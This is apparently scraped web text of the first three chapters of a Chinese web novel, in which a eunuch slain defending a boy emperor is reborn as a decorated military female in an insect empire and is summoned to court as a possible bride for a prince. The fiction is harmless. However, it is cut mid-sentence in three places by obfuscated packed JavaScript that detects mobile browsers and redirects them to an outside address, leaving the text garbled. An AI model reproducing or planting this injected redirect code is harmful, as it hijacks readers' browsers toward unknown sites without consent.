《殉国太监穿越成虫族军雌》 1. 第一章 残梦 残阳,旧都,城破断垣,硝烟弥漫。 喊杀声和妇孺的哭声交织,冲天的火光映着叛军的巾旗,京城街道上血迹未干。 叛军已经攻破城门,占领皇宫,不过一步之遥。 三天前升为御前总管太监的年福,望向亦是三天前刚刚登基的幼帝姜延业。 临危退位的老皇帝带着宠妃抛弃了整个大绕王朝和他的子民,乔装出逃时被叛军逮了个正着,被小兵砍了的头颅悬在旗杆上。 年长的太子战死,二皇子失踪,三皇子赶在城破之前于权臣掩护之下早就逃了出去,仅剩的四皇子姜延业被架在了高位。 而如今,金銮宝殿犹在,大厦将倾之时,叛军攻破了城墙,满朝文武也只顾着自家安危,不见一人前来护驾的踪影。 幼帝端坐在大殿皇位之上,他刚过完九岁的生辰,身旁的小太监年福也不过十八。 “陛下。”年福从姜延业四岁起,一直跟在他身边,照顾他的衣食起居,他的声音很轻,“叛军已经到宫殿外了。” 宫里没有人比年福更清楚,这么多年,自出生就丧母的四皇子,是多么的不受宠,如今国破朝灭,倒是被推上了这本对他而言遥不可及的皇位。 “小福子,你怕死吗?”九岁的姜延业一身龙袍,坐得格外端正,但年福看得出,他在高位上悬起的脚在微微发颤。 年福想,三天前,他应该是怕死的,他知道忽然升为总管太监的代价,他在夜里惊出一身冷汗,窗外腊月未雪,红梅枯死,好像早就有了预兆。 “回陛下,小福子不怕。”年福的声音比他自己预料地要平和坚定,他的手握紧了腰间的剑柄,“有奴婢在,陛下也不用怕。” 想逃总是有可以逃的地方,哪怕是后花园?哪怕是偏殿内?运气好还可以混出宫墙去。年福有些身手,对宫里犄角旮旯也熟悉,他想着,总能先将年幼的姜延业护送到安全的地方,再回来和叛军厮杀。 可是,幼帝没有逃,他挺直着幼小的身板,穿上了不合身段的龙袍,坐在大殿上,低眉笑了。 他说,朕也不怕……福哥,不该让你陪着我的。 他的声音很轻。 孩童时的姜延业在无旁人时,会叫他福哥,几次都把年福吓得不轻,连忙制止他——平日里,一个称谓就能要了一个小太监的命。 但这一次,年福只是轻轻摇头,殉国也殉君,他小时候看过戏,听过说书,在净身前,儿时也有过当上将军奋勇杀敌的梦,还为此学过几招舞刀弄剑,如今,这个死法,不丢人。 更何况,他应该和自己的君主同在,无论何时——这是四皇子贴身小太监的选择,也是身为总管太监年福自认的职责所在。 此时,后宫的妃子太监能逃的都逃了—— 只学过几手防身之术的年轻御前总管太监年福,孤身站在了大殿前,成了守护幼帝的最后一道防线。 当叛军冲进大殿,年福提剑挡在了幼帝身前,他砍伤了一个,又刺中了另一个,可乱刀之下,他的视线逐渐模糊,身上的砍伤千万道,血在空中飞舞,若王朝覆灭时惨烈绚烂又无声的哀悼。 年福在倒下那一刻不由回头,他看见被乱军包围于皇位上的幼帝姜延业,孩童颤抖的手抽出早已准备好的龙袍袖中的匕首,遥遥地,对他笑了笑,在叛军的惊呼声中刺向自己幼小的胸膛…… “不——” “不——” 克莱从梦中惊醒,伸出的手触及休眠仓轻薄透明的外壳,飞船内的智能光脑立马收到感应,瞬间点亮了整个驾驶舱。 特殊材质的透明外壳开启,克莱终端手环上闪过淡淡的蓝光,他的额头上残留着汗珠。 “尊敬的虫主阁下,已同步开始检测您的各项基本体征……”光脑反应极快,轻快的声音响起,对于帝国军团A级军雌,时刻检测体征,以免出现精神暴乱造成失控局面,这是再寻常不过的事。 克莱抬起手背放在额头上,轻轻呼出一口气——他已经好久没有做过这个梦了。 起身,一条节节相扣的骨鞭长尾随之翘起——实话实话,即使作为虫族军雌生活了二十四年,克莱依旧没有习惯自己这条覆盖着黑曜石般甲壳的骨尾。 如果能够习惯,或许自己就不会再做这样的梦。 梦到他还是年福,那个在金銮殿上被叛军乱刀砍死的年轻太监…… 原来人死后,不是下到阴曹地府,而是迷迷糊糊间成了一颗卵——这可不是六道轮回入了畜生虫道,更宛若完全诞生在了一个全新又陌生的世界。 一个属于虫族的世界,而他,如今是圣聂特帝国,赛弗伦军团,A级军雌——克莱·埃弗洛。 克莱花了很久时间,才认识到,这不是自己死前的诡谲幻境。 毕竟,年轻的太监可能会梦想自己成为威风凛凛、班师回朝、从龙之功的少年将军,但绝对想象不到自己会生长出长长的骨尾,收放自如的骨翼,身于虫工智能终端控制的飞船内,耳边传来光脑体贴的提示—— “检测完毕,虫主阁下,您的体征目前一切正常,只是在休眠时心跳有点快,您是做噩梦了吗?” 噩梦?算是吗?前尘往事,不堪回首,庄生晓梦,我已非我—— 说起来,以前的小太监们会被教识字,年福当年也读过几本书,可惜如今的克莱模模糊糊记得的文墨不多。 到也无所谓,虫族有虫族的语言文字,而这一回,克莱从小就学得格外认真。 “距离回到塞拉芬主星,还要多久?”克莱抬头,看着手环升起的悬浮光屏上显示的体征数值—— 他的各项数值不仅正常,亦是一如既往的优秀,作为A级军雌,克莱从幼虫时起就比普通的军雌更为强壮,如今他是帝国赛弗伦军团里年纪最轻的军雌少将。 光脑系统立马出声回复:“以现在的飞行速度,大约还有半小星时,虫主阁下,您要再休息一会儿吗?” 克莱摇了摇头,光脑感应到他发出的指令,随即将克莱休眠期间的电子邮件、信息留言传到了浮动光屏上。 克莱一个一个熟练地点开,大多是军团内的公务,他处理起来早就得心应手。 即使到了现在,克莱也很难准确地形容,他破卵而出,看着四周遍地是虫般的怪异生物,而他自己拖着一条与生俱来的小骨尾,居然也成了怪异生物中一员时的心情。 那种感觉,和前一世因为家穷,七岁进宫当太监被净身时的感觉有着微妙的相似处,但又不完全一样。 相似处在于,他忽然在那么一刻恍惚地意识到,从此以后,自己好像就不算个人了,最起码不是个正常的人,当然事实证明,在宫里也确实没有多少人将太监当人看。 但不一样的是,这一次,不正常的是整个世界和身旁的每一只虫,这里也根本就没有一个正常的人类,所以他又意外地正常了起来。 曾经的军雌上将格特·埃弗洛是他的雌父,他出生时,雌父和雄父就已经分居,不久协议离婚,所以他被冠名以上将雌父的姓氏——克莱·埃弗洛。 同样也是在七岁的时候(克莱一直觉得七这个数字克自己),他被送往了赛弗伦军团生活,因为那一年,雌父格特战死,他被当时格特的战友兼好友,也是如今圣聂特帝国的最高统帅S级军雌——里昂特元帅收养。 虽说是收养,但忙于军务和前线作战的里昂特元帅,照顾他的时间有限,幼虫时的克莱很多时候,是在前线相对安全的军事堡垒里和驻守的军雌叔叔伯伯们同吃同住。 在虫族军队里长到十二岁,刚够读虫族军校最小的年龄,又加之彼时养父里昂特元帅在前线受了伤,一时军情紧急,克莱就被强制送去了相对安全的军校寄宿。 不过在这期间,克莱早已熟知了虫族世界的各种规则,当他第一次知道自己是一只雌虫时,说不难过,那肯定是假的——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478950|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在克莱通过年福的认知简单粗暴地判断,雌虫应该是女子,雄虫应该是男子的意思,而如果自己完全成为了一个女性,克莱到是觉得没什么,最起码这是符合他认知的。 但是,如今除去虫类的特征,他的外表体征怎么看都是一个男性,而且明显比前一世要强壮健硕得多,可是,体检报告又明晃晃显示,他是只雌虫,军雌。 这……和太监,有差,也没差,不是?! 哦,对,太监没法怀孕,但军雌可以。 不过,没过多久,克莱就完全接受了自己是军雌的现实,一是,他向来心理和身理的适应力极强,这和他曾经作为小太监多年在宫中生活的经历有关,心态不好真当不好太监,曾经的年福都知道,他们这行盛产变态,二是,军雌,帅呀—— 幼虫时在虫族军团中的生活,让克莱发现,身旁的军雌叔叔伯伯们虽然都各具虫族特征,但一个个肌肉健硕,威仪飒爽,而且虫族的利维坦战舰可比曾经他只看过连摸都没摸过的战马战车,开起来要爽多了! 军雌叔叔伯伯们说:为圣聂特帝国而战,是每一个军雌生而为虫的使命。 这简直和金戈铁马、鏖战沙场的将军,还有那些为了大绕王朝定国安邦而奋战的士兵们没有分别。 曾经的年福,做梦都想当将军,可是七岁的那一刀下去,梦早就碎得连渣渣都不剩,他至多是在宫里和会些拳脚的年长太监学上几招,但即使如此,他都学得很认真,每一日早也练,晚也练。最后面对叛军的那一刻,他虽有憾,但无悔——毕竟,那已是他的极限。 所以这一次,他比上一世更认真,认真的学习每一项作为一个虫族军队统帅应该具备的技能,自然也包括之前提及的虫族文字,他出生时是B级雌虫,军校毕业后于成年期二次分化突破成为A级军雌,而他军校的成绩几乎每一门都是A,除了生理课,克莱不喜欢雌虫的生理交-配小课堂,但即使如此,他依旧年年都是年级第一。 在战场上,年纪轻轻的克莱的战绩也已颇为卓越,十九岁军校毕业并成年,随后正式加入赛弗伦军团,二十岁指挥作战,二十二岁升任军团少将,二十五岁战功赫赫——如今,作为圣聂特帝国一颗冉冉升起的虫族将星,他已小有名气。 并非自谦,虽然在军校同期的虫族和军团的军雌们眼中,过于耀眼的克莱就是个名副其实的卷王,但克莱自己却觉得一切再寻常不过,这一方面是他性格使然,前世当小太监那会儿,他就养成了谨小慎微,认真做好每一件事的习惯。 要知道,在宫里稍有差池就会随时掉脑袋,手脚不麻利、没点眼力劲和灵活的头脑,存活下来很难,那些皇帝身边的大太监多是智商情商逆商三商在线的大佬,曾经年福的师父就是这样的一位太监前辈,他跟着也学了不少。 加之如今能够有好好学习的机会,作为克莱的他十分珍惜,即使是在一个全新的世界,以一只虫的身份,学习的也是全新的知识,但他觉得一切都很难得,这种感觉只有曾经历过苦日子,想学习却连个机会也没有生灵,才能深刻体验。 另一方面,克莱总私心地幻想着,会不会有一天,自己还有可能回到原来的世界,回到大绕王朝,如果那时自己能够强大一些,再强大一些,是不是就可以护下自己的君主?! 遗憾滋生妄念,念念不忘,于是故人入梦。 克莱自嘲般一笑,随即又点开浮动光屏上,下一个对话框。 “克莱,你听说了吗?”是语音留言,来自贝希摩军团的科赛特少将,他曾是克莱在虫族军校高两级的学长,即使不在同一个军团,两只虫一直交情甚笃,“这一次被召回主星的不止你和我,前线利维坦战舰和后方堡垒中所有单身的A级军雌少将都收到了皇廷召令。” 后面还有留言,声音在迟疑了片刻后,压低了些—— “有消息说,虫帝圣座想借此,为刚成年的三皇子殿下挑选雌君!” 2. 第二章 皇子 克莱的骨尾微动,这一次召令确实有些奇怪,说是嘉奖功勋卓越的军雌,可明明前线近来并没有什么重大的胜利。 而且,克莱相信学长科赛特没有可信的信息来源,是不会轻易给自己留言,同为A级军雌的科赛特,其雄父是帝国枢机内阁大臣,这早在军校时就不是秘密了,他的消息自然比其他虫要灵通。 “虫帝圣座向来看重三皇子殿下,仅一个成虫礼,虫网头条新闻对三皇子的吹捧之词都快要盖过圣灵大祭司了!”科赛特的留言有点唏嘘的意味,“我猜里昂特元帅也知道这件事,他让我提醒你,这一次到主星皇廷参加嘉奖仪式,要小心应对。” 克莱在光屏上回复了感谢,他隐约察觉,让科赛特给留言自己,也是里昂特元帅的意思。 作为圣聂特的最高统帅也是帝国唯一的S级军雌,克莱的养父军雌里昂特元帅统管帝国的三大军团——赛弗伦、贝希摩和耶梦德。 三大军团单身的A级军雌一只手就能数得过来,除了和大皇子圣亚瑟早已定下婚约的耶梦德军团的克耶尔少将,这一次应召回主星全是各军团A级年轻的未婚君雌少将。 这一切,未免太过巧合。 因为一些不便言说的特殊身份使然,克莱对于帝国皇室的一些传言和消息有所了解,但兴趣不大。他军校毕业之后,常年在前线战场,接受虫网直播多是为了日常精神海安抚,网上时不时跳出的皇室花边新闻,他很少点开。 但虫帝对于三皇子雄虫圣尤金的偏爱,克莱想不知道都难,毕竟这在圣聂特帝国是虫尽皆知的事。 虫帝圣座——圣聂特帝国至高无上的圣约莫陛下,一共育有四个雄虫皇子。 大皇子圣亚瑟和二皇子圣普利为等级不高的不同雌侍所生,大皇子在二次分化成为A级雄虫后逐渐被重用,二皇子圣普利在成年后进了圣律院,成为了大祭司的弟子。 三皇子圣尤金则是早逝的圣雌君维克多尔留给虫帝存活的唯一圣卵,从还是一颗虫蛋开始就是虫帝手心里的宝贝。 不久前,刚刚完成盛大成虫礼上(虫族十七、八岁开始长出虫纹,十九、二十岁虫纹定形为成年),十九岁的圣尤金更是得了虫帝的特别恩赐,划拨了紧邻塞拉芬主星,也是环境最宜虫的“翡翠环带”中最富饶的一颗卫星,虫帝特许更名为“尤金尼亚”,作为三皇子的专属封地与寝宫。 听闻,三皇子殿下还是极其罕见的双尾虫,虫族圣律院古第一任老祭司的预言曾说—— “拖曳双尾的启明星,拥抱一缕无根的异灵,尘埃幻化星辰的王座,枯死的母巢重新抽枝,花开之时,翻天覆地,吾国无敌。” 大概也就说,双尾的皇室之虫将为帝国带来盛世,大祭司是这般解说的。 于是乎,在圣律院的青睐下,虫帝格外疼惜身为双尾虫的三皇子。 而似乎无论在哪一个世界,帝王的心,总有偏向。 克莱依稀记得曾经的大绕王朝,那个常年不上朝的老皇帝,最疼爱的,也是一位三皇子,临到国破家亡,还将三皇子稳稳当当地托付给最信赖的权臣,预好逃跑的退路,仿佛在他的眼中,明明已经十五岁的三皇子只是个孩子,而被推上皇位担下亡国之名的四皇子,九岁的姜延业却不是。 哦,对了,虫帝圣约莫陛下也有一位四皇子。 但虫网和坊间关于他的报道和信息非常少,他从未在公开场合露过面。 他并不神秘,他只是不重要。 有传言说,四皇子和三皇子年纪相仿,但却是雌奴所生,是一只等级很低、长得极其丑陋的雄子,他的诞生不被皇廷期待,也不受圣律院祝福。 “尊敬的虫主阁下,我们即将抵达塞拉芬主星,飞船开始降落……”光脑温和又公式化的声音响起,再然后,“叮咚,叮咚,叮咚……虫主,是里昂特元帅阁下的来电。” 克莱点开了浮动光屏上元帅跳动的头像。 养父里昂特元帅深蓝短发,墨绿双眸,一贯的严肃而威仪,透过光屏都能感受到来自S级军雌,三军统帅的压迫感,但他面对克莱,深邃冷厉的眼神会微微柔和。 “到主星了吗?”里昂特元帅目前带领赛弗伦和贝希摩军团,在和敌对的沙聂虫族交战的前线,光屏上的他不免略显疲惫。 “正在降落,让您费心了,元帅阁下。”在克莱弯起嘴角,黑色的眼眸轻轻舒展开,和其他一见元帅就发憷的军雌们不同,面对养父里昂特元帅,言辞间依旧尊敬,但克莱整只虫都会放松下来。 严格遵守军纪的克莱一直称呼其为元帅阁下,但实际上他一直视里昂特元帅作唯一的亲虫父。 克莱前世是小太监时,母亲死的早,父亲将他几个铜板就卖给了人贩子,后来辗转几道他被卖进了宫里,他对亲生父亲几乎没有印象,感情那根本就是没有,后来进了宫,是身为师父的老太监一直带着他,照拂他,教导他,他私下就喊老太监“爹”。 老太监微微笑,告诉他,他这么大的儿子,自己可养不起。不知是幸运还是不幸,在国破的前一年,老太监就因病去世了。 前世在小太监心里,对他好的老太监,就是他的爹。 而如今,在克莱的眼中,只有里昂特元帅,才是他心底认定的父亲。 克莱的亲生雌父已被浮动光刻印在了虫族银辉烈士纪念牌上,而他的雄父—— 不提也罢。 而实际上,他的雄父可谓是整个圣聂特帝国都绕不开的存在,每一天都被不同的虫时时刻刻的提及。 “三皇子的事,科赛特和你说过了吧?”里昂特元帅微微蹙眉,他显然并不赞同虫帝将忙于作战的A级军雌们从前线召回,只为了雄子挑选雌君。 “听说了,圣座很疼爱三皇子圣尤金殿下。”为此不惜专门给每一个军团的年轻军雌军官们,准备一份名义上的嘉奖,大费周章,不容易。 “疼爱得有些过分。”里昂特元帅声音低沉,但忽而,他又话锋一转,格外认真地说道,“三皇子殿下是有些被娇惯了,但这也是一次机会,克莱——听说,三皇子是位优秀的雄子,从婚配的角度,你也可以考虑一下。” 克莱愣了一会儿,才明白自己养父话里的意思。 克莱:……没兴趣,但话肯定不能这么说。 不知是不是因为前世是太监的关系,克莱在感情和生理需求上一直很淡薄,二十五岁的成年雌虫,没发过情,信息素也很淡。 当小太监时,每天都得伺候人,活得如履薄冰;如今不用伺候人了,终于可以征战沙场,保家卫国,当然是所有的心思都在战场上。 而且,尊贵的皇家雄子有的是优秀的雌君候选,就放过他吧。 虫族过于注重繁衍,就如同军校里专门讲交-配各种姿势的生理课一样,让克莱头痛。 克莱从不会当面反驳元帅,那种审时度势的开口前必三思,几乎是每一个太监刻在骨子里的生存之道——即使过了这么多年,换了一个全新的身份,有些习惯还是保留了下来。 但这,并不是坏习惯。 于是克莱只是点点头,轻声道:“我会的。” “克莱,你呀——”里昂特元帅毕竟是看着克莱从幼虫到成虫,见他此时垂下眼,骨尾在身后轻轻一甩,目光锐利的元帅便轻轻摇了摇头,“三皇子殿下那边,你不要怠慢,也不要委屈自己。你若是对这一次成为三皇子的雌君一点兴趣也没有,到时比皇廷传召的星时,提供一星时出发,去找皇廷近卫军的长官聂盖特,他会帮你。” 一听这话,克莱不由莞尔,他好看的黑色眼眸,立马亮了。 想来,元帅让学长给他留言后,又不确定他的真实想法,于是一边征询他的意见,一边早就特意为他安排好了。 克莱心底一暖,但下一刻—— “不久前,内阁首相亚林格递话说,让你回主星后有空和他的雄虫长子见上一面,我这边实在推脱不掉。晚点你先在虫网上加他,ID虫号刚发给你——聊聊吧。” 自从成年后,这种变相相亲邀请就时不时地冒出来,晋升少将后更是接二连三,元帅帮挡了不少,但有的实在挡不住。帝国军团虽然相对独立,但越是等级和军阶较高的军雌,越脱离不了和帝国神政、皇权和政经高层的关联。 克莱知道,有些虫,他们军方没必要得罪。 而通过元帅来邀约的,都是些位高权重的雄虫或是其子嗣——毕竟,A级军雌诞下优秀后代的几率更大嘛。 克莱不是第一次处理这样的相亲邀约,或者更直白点说,他已经处理出经验了,而且每一次他都能处理得十分妥善——他既能和位高权重的雄虫们保持友好关系,又不会越界让自己陷入婚配之中。 里昂特元帅正是知道这一点,才会时不时让克莱去和那些推不掉的雄虫们“见一见”“聊一聊”。 克莱有分寸,有主见,也有手段—— 退一万虫步说,万一有看对眼了的呢? 里昂特元帅还是很乐意自己的养子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478951|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能有一个好归宿的。 克莱看着光屏上的ID虫号,轻轻抿了抿嘴。 他不是处理不了,但是实在太费时间。 光脑:“虫主,目前飞船已顺利登陆塞拉芬主星,同时,刚又新收到了126条来自军团的留言,其中18条标注为紧急军务,标注显示,请您务必今日处理。” 明明更适合,也更需要自己的是军团前线。 况且,若真的成为了皇子的雌君,按照帝国近来颁布的《圣约莫新恒典》,他会被强制留在成年雄子身边三个星月,以便交-配受孕。这还是新恒典自诩的宽容,以前的《旧恒典》会强制婚配的雌虫留在雄子身边一星年,且必须诞下两颗以上的虫卵才允许行动自由。 想想,克莱就觉得恐怖,比当太监还要恐怖—— 自己还是早点完成这个形式上的嘉奖仪式,早点返回战场,才是正途。 于是,克莱很明智地听从了元帅的安排,在到达塞拉芬主星的三星天后,也就是皇廷召见对年轻的军雌军官们进行嘉奖的日子,他提早了一星时出发,来到了位于塞拉芬主星西边的神圣皇廷。 跨越西边的护城河般的“灵能静滞带”后,世界陡然变换。 富丽堂皇,极尽奢华。 前世身为太监时记忆里的大绕王朝皇宫,比起眼前的神圣皇廷逊色的可不止一星半点。 也就是从这里,克莱必须从晶壳小型飞行器上,下来步行。 荧光门禁系统和光脑对接,信息核对过后,克莱便被允许进入皇廷。 皇廷的建筑不是克莱前世印象中皇城建筑的砖石和木材,而是活体与精工的结合—— 巨大的承重柱仿佛是某种远古巨虫温润如玉的琥珀化甲壳,内部封存着星河般流转的虫族灵能光絮。拱顶高阔如星空,其上绘制的“浩瀚星辰”比星际中的点点星光更闪亮,但细看便知,那些并不是星星,而是帝国历史上重大战役胜利徽记和重大事件的历史事件图绘纪要,由亿万颗微小的生物荧光点构成。 那些被精心驯化,虫纹灿烂的皇廷亚雌侍从们温顺地从皇廷廊道路过,几乎轻得没有脚步声,他们身着轻薄礼服,低着头向身为少将的克莱恭谨地行礼。 廊道两旁矗立着历代虫族帝皇、大祭祀与帝国英雄的生物质雕像,克莱在其中一尊雕像前停下脚步。 那是一座有着一条巨大骨尾和一对美丽骨翼,黑发黑眸,闪着金光的军雌雕像—— 克莱的雌父,格特·埃弗洛。 “虫主阁下,这是您第二次来皇廷了——上一次,是十三星年前。”光脑系统的声音在克莱耳边响起。 光脑能听见克莱心底的声音,克莱没有说话,光脑立马安静了下来。 回忆也随之涌了上来—— 克莱记得,那是雌父格特·埃弗洛战死的第五星年,十二岁的他从赛弗伦军团回到主星军校住宿读书,刚好雌父的雕像和对面的另一座雕像一起落成,他被允许到皇廷内来观览已故雌父栩栩如生的英容。 那时恰逢养父里昂特元帅在星际战场受了重伤,一度有生命危险,而军团方面禁止了克莱的探视,并说是按元帅的指示,强行将他送去主星的军校。 十二岁的克莱站在雕像前,一种彷徨油然而生,他恍想起了前世早去的娘亲,待他如子的老太监,还有后来相依为命、他尽心伺候的小皇子姜延业。 那时,十二岁的少年雌虫,面对战死的雌父格特,命悬一线的养父,依旧无能为力。 一直以来,成为虫族一员的克莱觉得,自己一定会比前世一个卑贱的小太监强大,就如同圣聂特帝国比大绕王朝的文明高了好几个维度——而这一次,他要强大到可以保护自己想要保护的一切。 但,死亡,总是猝不及防。 而年幼的他,似乎什么也做不了。 刚入军校的克莱,在第一次全年级新生测试中获得了第一名,这也是军校有史以来最年轻的新生第一名,他被奖励了一枚镶有绿宝石的小星陨徽章。 可当克莱将星陨徽章攥在手中,望着精雕细琢却没有回应的雕像,他的努力似乎并没有用处。 他以为可以长久却稍纵即逝的温暖,因为年幼来不及说的话做的事,他渴望的亲情,他妄想的改变…… 十二岁的克莱在皇廷走廊新落成的雕像前仰起头,久久地。 直到一只小手拉了拉他的衣角。 一个稚嫩的声音响起:“大哥哥,你为什么哭了?” 3. 第三章 邂逅 克莱记得,那时十二岁的自己,闻声轻轻侧目。 是一只有着一头不常见的暗红色卷发,圆圆的脸颊,和一双大大的幽绿眼睛的可爱雄虫幼子,看起来五、六岁的模样。 他穿着一件极其不合身的粗布机纺的暗灰色宽大长袍,将他幼小的虫身从脖子到脚整个覆盖——暗灰色的长袍拖到了地上,似乎是为了隐藏什么般,长长的一截几乎发黑的布料拖在身后,显出几分笨重,也让这个幼年雄子看起来愈发瘦小。 幼虫皮肤是一种淡淡的米白色,左右脸颊上有着几块小小的,不均匀分布的黑斑,显得格外惹眼。 而这只幼年雄虫一点也不在乎,他坦然地微微扬起头,一双绿眼睛大而明亮,清澈又灵动。 明媚真挚,又一派天真,目光中发自心底的关切和童真的善意,让已然十分老成的克莱,心头微微一震。 “大哥哥,你长得真好看!”脸上的黑斑也灵动了起来,幼年雄虫咧开嘴,很笃定地对他说,“你笑起来,一定更好看!你,你不要哭了。” 可爱的雄虫幼子,孩童的天真无邪,冲淡了十二岁少年军雌的悲伤。 “好,我听你的。”克莱面对孩童,总是特别温柔且有耐心。 年幼的孩童,总能让他想起曾经小主人的姜延业。 他露出温和的笑,轻轻蹲下身子,骨尾也柔和地卷起,他含笑望着年幼的雄子碧绿的眼眸。 “我叫克莱,你叫什么名字?” 雄虫幼子轻轻抿住唇,鼓了鼓腮帮子,顿了顿,低声说:“我,我不能说。” 看着年幼雄虫懵懂又机警的模样,克莱只觉他很可爱,幼虫对陌生虫保持点警惕不是坏事。 克莱见他别扭的样子,很想揉一揉他红色卷发的小脑袋—— 但他没有那么做,克莱是知道分寸的,他对年幼的雄虫,笑得温柔。 那一刻,绿眼睛的年幼雄虫仰起头望着他,定定地,大眼睛忽闪忽闪地,自顾自地轻轻脱口而出:“笑起来,真的,很好看……” 也就在这时,廊道不远处传来脚步声,是皇廷内的亚雌侍从们。 “糟了!大哥哥,我,我得走了!”眼见亚雌侍从们由远而近,回过神的幼年雄虫提起长袍的下摆,转眼就十分机警地躲到了刚落成的巨大上将雕像的身后。 高大的雕像刚刚好将瘦小的幼年雄虫身形挡住,小小的雄虫又拉了拉身后的长袍,这下子是一点也看不到他了。 “嗯,大哥哥,这个,给你!”从克莱雌父的雕像后又伸出一只小手,小手摊开,掌心间是一颗虫麦糖。 虫麦糖是虫族很常见的甜食,爱吃甜食的幼虫们很喜欢。不过高阶和贵族们会给孩子们更为名贵也更健康的甜食,比如虫香晶。 “我好不容易拿到的……嘿嘿,分你一颗,甜的!我,不能被发现——不然,就惨了……”听着幼年雄虫压低急促的声音,克莱从幼虫稚嫩的手心接过了虫麦糖。 “慢点,我帮你掩护——还有,回礼。”克莱一边很自然地挡住远远走来的亚雌们的视线,一边在接过糖果的同时,便将自己手中的小星陨徽章放在了幼虫的手心。 在皇廷里算不上多值钱的东西,只是那绿宝石,像极了幼虫的眼眸——而且,克莱直觉上,这孩子应该会喜欢好看的东西。 谢谢你的糖果,也谢谢你,安慰我——克莱在心底默默地说。 急急忙忙离开的雄虫小朋友,握紧手心后,就在雕像后很快没有踪影。 克莱望着自己手里的虫麦糖。 从前世时起,他就不嗜甜。 可不知为什么,十三年过去了,如今二十五岁的克莱依旧能回忆起,那颗明明普普通通的虫族糖果入口时,泛起的丝丝甜味。 那时,十二岁的克莱不可能在皇廷中久待,当日,他就不得不离开皇廷,返回军校。 而给了他糖果,又躲在雕像后逃走的小雄虫,也成了克莱记忆里一抹带着甜味的亮色。 年少的匆匆一面,这么多年过去了,本以为忙碌的军校生活,以及加入军团后的常年随军征战,自己早就应该淡忘了那只年幼的雄虫。 而当再次来到皇廷,驻足在已故雌父格特·埃弗洛的雕塑前,幼年雄虫幽绿的眼眸和曾经短暂的一面之缘,赫然浮现,恍如昨日,格外清晰。 为什么会这么在意他呢? 或许是因为曾经那个同样天真浪漫的孩子,却决绝地死在了另一座皇宫里。 “虫主阁下,他有可能是皇子的虫伴。我们等会儿可以向近卫军聂盖特长官询问看看。”光脑适时地开口。 关于这一点,在成年激活光脑前,克莱早就有过猜测。 一些虫族高官们的雄子幼崽经过挑选后,有一些会获得特许进入皇廷,成为幼年皇子的虫伴。 那只可以随意在皇廷内走动的幼年雄虫,最有可能的身份,便是皇子的玩伴。 这么多年过去了……那个雄子也该有十七、八岁了。 不过只是一个记忆里的小插曲,自己在意,不代表对方也在意—— 过了这么久,五岁的幼虫应该不会对只见过一面的陌生虫有多深的印象,况且自己也早就不是十二岁的模样。 “不必了。”克莱淡淡一笑,通过精神连接,给光脑下达了命令。 收起回忆,他现在有更重要的事要做。 就在克莱再次仰头,再望了一眼雌父的雕像,转身准备按约定去寻聂盖特长官那一刻—— 忽然,一个身影从廊道另一侧冲了出来,差点和克莱撞上! 所幸,克莱身手矫捷,侧身退了一步,稳稳地扶住了撞向自己的虫。 略显莽撞的来者抬头,克莱不由一愣。 一头暗红色的卷发被一枚劣质的素银发扣随意束在脑后,几缕不太驯服的发丝垂落在额前,幼时的圆润脸颊已褪去了稚气,取而代之的是少年特有的清瘦轮廓。 依旧是宽大的暗白色长袍,拖着长长一截衣摆,包裹着少年虫消瘦的身形,如同要遮掩着什么。 米白色的皮肤透出无形的冷意,比皇廷内精致的亚雌们要粗糙不少,脸上的黑斑也越发明晰了分布——左颊三块,右颊两块,错落着,最大的一块在颧骨下方。 以及,那双深绿色的眼眸。 是他!居然是他! 克莱的黑眸一亮,但—— 幽绿,比荒星暗泽更深的幽绿。 灼着寒意,冰冷,刺骨。 在看向克莱的一霎,惊恐、慌乱、恼怒、无措……瞬间又在一双幽绿中沉积下去。 “跑什么跑,一只废虫居然会逃跑?!三皇子圣尤金殿下的命令都敢违抗,这丑虫胆子越来越大了,啧,跑到哪里去了?!”粗狂、傲慢又带着嘲弄的声音,从廊道另一侧远远传来。 “快出来,文森小殿下,小丑八怪!你逃不掉的!今天我们只和你玩一会儿,你别害怕呀,你不听艾德弥哥哥的话了吗——”另一个尖细些,油滑又戏谑的声音,也跟随在其后。 接着是隐隐的脚步声。 紧随其后从另一个方向而来的,大概有三、四只虫。 身旁,被克莱轻轻扶住的暗红头发雄虫听见传来的声音,开始猛烈地挣扎,克莱立马放开了他。 比起惊恐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478952|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗红头发的少年雄虫此时的气息更类似愤恨……以及懊恼?! 他抬眼看了一眼克莱,咬了咬牙,猛地又深深低下头去,什么也没说,转身朝着格特·埃弗洛上将的雕塑身后奔去。 他藏了起来,很迅速地,和曾经的幼虫时一样,提起长长的衣摆,在巨大的雕像后,不露出一点痕迹。 然后,四只虫从另一侧拨开绿油油的装饰生物高草丛,出现在克莱面前。 